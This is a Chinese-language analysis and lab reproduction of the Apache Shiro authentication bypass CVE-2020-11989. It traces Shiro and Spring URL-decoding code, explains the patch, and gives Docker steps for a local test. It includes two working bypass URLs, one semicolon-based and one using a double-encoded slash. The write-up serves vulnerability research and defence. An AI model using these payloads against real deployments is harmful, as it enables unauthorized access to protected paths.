Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现

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1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 简介

Apache Shiro作为Java框架，可被用于身份认证、授权等任务。

整合Apache Shiro至Spring Boot中时，请求可能会导致越权绕过身份验证现象的出现，存在两种较好的利用现象，称为利用方法1和利用方法2。

存在安全缺陷的版本：Apache Shiro 1.5.3以前的版本。JDK:1.8.0_181。

1.3 漏洞挖掘能力条件

• 应清晰Spring Boot、Apache Shiro框架源码的逻辑功能。

• 清晰常见的反过滤、非常规字符的特点。

1.4 利用方法1

1.4.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】，端口为8088；设置“./admin/*”路径需要认证访问，成功则显示“hello, admin page”，具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master0)。

1.4.2 目标

绕过认证访问“./admin/*”路径。

1.4.3 分析方法

对于输入的恶意URL“http://localhost:8088/;/test/admin/page”，首先采用Shiro进行权限验证处理。Shiro框架的decodeAndCleanUriString方法会根据“；”截取URI“/;/test//admin/page”的前部分内容，从而使得此请求通过权限验证。依次经过的重要类、方法如下：

类+方法	关键内容
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain	-
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication	String contextPath = getContextPath(request);   【=”/;/test”】   String requestUri = getRequestUri(request); #输出内容作为Shiro的权限验证输入值 if   (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {             // Normal case: URI contains   context path.             String path =   requestUri.substring(contextPath.length());             return (StringUtils.hasText(path)   ? path : "/"); } else {             // Special case: rather unusual.             return requestUri; }
org.apache.shiro.web.util.WebUtils#getRequestUri	uri =   valueOrEmpty(request.getContextPath()) + "/" +                    valueOrEmpty(request.getServletPath()) +                    valueOrEmpty(request.getPathInfo());【=”/;/test//admin/page”】 return   normalize(decodeAndCleanUriString(request, uri));
org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString	int semicolonIndex = uri.indexOf(';');

随后，在Spring框架中解析URL。关键点是在解码过程中，仅剔除URI中“;”而保全其他所有内容，从而解析得目标路径“/admin/page”。依次经过的重要类、方法如下：

类+方法	关键内容
org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping	String pathWithinApp =   getPathWithinApplication(request); String servletPath =   getServletPath(request); return servletPath;
org.springframework.web.util.UrlPathHelper#getPathWithinApplication	String contextPath =   getContextPath(request); 【=”/;/test”】 String requestUri =   getRequestUri(request); return requestUri;
org.springframework.web.util.UrlPathHelper#getRequestUri	String uri = (String)   request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); 【=”/;/test/admin/page”】 return decodeAndCleanUriString(request,   uri);
org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString	uri = removeSemicolonContent(uri); 【="//test/admin/ page"】 uri = decodeRequestString(request, uri); 【=" / /test/ admin / page”】 uri = getSanitizedPath(uri); 【=" / /test/ admin/ page”】 return uri;
org.springframework.web.util.UrlPathHelper#getServletPath	String servletPath = (String)   request.getAttribute(WebUtils.INCLUDE_SERVLET_PATH_ATTRIBUTE); 【=”/admin/page”】 return servletPath; 【=”/admin/page”】

1.5 利用方法2

1.5.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】，端口为8081；设置“./admin/*”路径需要认证访问，成功则显示“hello,admin”，具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master)。

1.5.2 目标

绕过认证访问“./admin/{name}”路径。

1.5.3 分析方法

对于输入的恶意URL“http://localhost:8081/test/admin/a%25%32%66a”，首先采用Shiro进行权限验证处理。Shiro框架的decodeRequestString方法会进行两次解码得到URI“/admin/a/a”，并因其分割后的数组长度大于模板“/admin/*”而使得此请求通过权限验证。依次经过的重要类、方法如下：

类+方法	关键内容
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain	String requestURI =   getPathWithinApplication(request); if (pathMatches(pathPattern, requestURI))   {…… return null;
org.apache.shiro.web.util.WebUtils#getPathWithinApplication	String contextPath =   getContextPath(request); 【=”/test”】 String requestUri =   getRequestUri(request);
org.apache.shiro.web.util.WebUtils#getRequestUri	uri =   valueOrEmpty(request.getContextPath()) + "/"   +valueOrEmpty(request.getServletPath()) +valueOrEmpty(request.getPathInfo());   【=" /test/ / admin/a%2fa "】 return   normalize(decodeAndCleanUriString(request, uri));
org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString	uri = decodeRequestString(request, uri); return (semicolonIndex != -1 ?   uri.substring(0, semicolonIndex) : uri);
org.apache.shiro.web.util.WebUtils#decodeRequestString	return URLDecoder.decode(source, enc);
java.net.URLDecoder#decode(java.lang.String,   java.lang.String)	#可解码“%2f”为“/” while (i < numChars) {             c = s.charAt(i);             switch (c) {             case '+':                 sb.append(' ');                 i++;                 needToChange = true;                 break;             case '%':………… return (needToChange? sb.toString() : s);   【=”/test//admin/a/a”】
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches	return pathMatcher.matches(pattern,   path); 【pattern : " / admin/*"，source: " / admin/ a / a "】
org.apache.shiro.util.PatternMatcher#matches	return match(pattern, source);
org.apache.shiro.util.AntPathMatcher#doMatch	#判断得模板长度短于URI长度，说明URI和当前模板不属于同一类。 if (pathIdxStart > pathIdxEnd) {             // Path is exhausted, only match   if rest of pattern is * or **'s             …… } else if (pattIdxStart > pattIdxEnd)   {             // String not exhausted, but   pattern is. Failure.             return false;

随后，在Spring框架中解析URL。关键点是在解码过程中，仅解码得路径是“/test/admin/a%252f”，因此符合“/admin/{name}”规则得以正常访问。依次经过的重要类、方法如下：

类+方法	关键内容
javax.servlet.Servlet#service	-
javax.servlet.http.HttpServlet#doGet	-

1.6 补丁分析

如下图，修改了org.apache.shiro.web.util.WebUtils#getPathWithinApplication，采用两个标准方法获取URI有效应对了“/;/…”安全缺陷，且无解码操作从而有效应对了“a%25%32%66a”安全缺陷。

1.7 docker复现

加载容器tar为镜像的例子：

cat ./ubuntu-xxx.tar | docker import - ubuntu-new

设置局域网及容器ip、启动容器的例子：

（1）自定义网络

docker network create --subnet=192.168.10.1/24 testnet

（2）启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

镜像名称为ubuntu_cve-2020-11989:v1，需开启8088和8081的端口映射功能。

启动进入容器后，复现利用方法1。切换到目录【/springboot-shiro-master0/target】下，执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8088/;/test/admin/page】，成功访问表明复现成功，如下图。

复现利用方法2。中断当前程序，切换到目录【/springboot-shiro-master1/target】下，执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8081/test/admin/a%25%32%66a】，成功访问表明复现成功，如下图。

1.8 参考资料

• https://www.freebuf.com/vuls/249380.html

• https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

• idea 快速创建spring boot项目 以及打包 - 知乎

  https://zhuanlan.zhihu.com/p/149736921

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题图：Pixabay License

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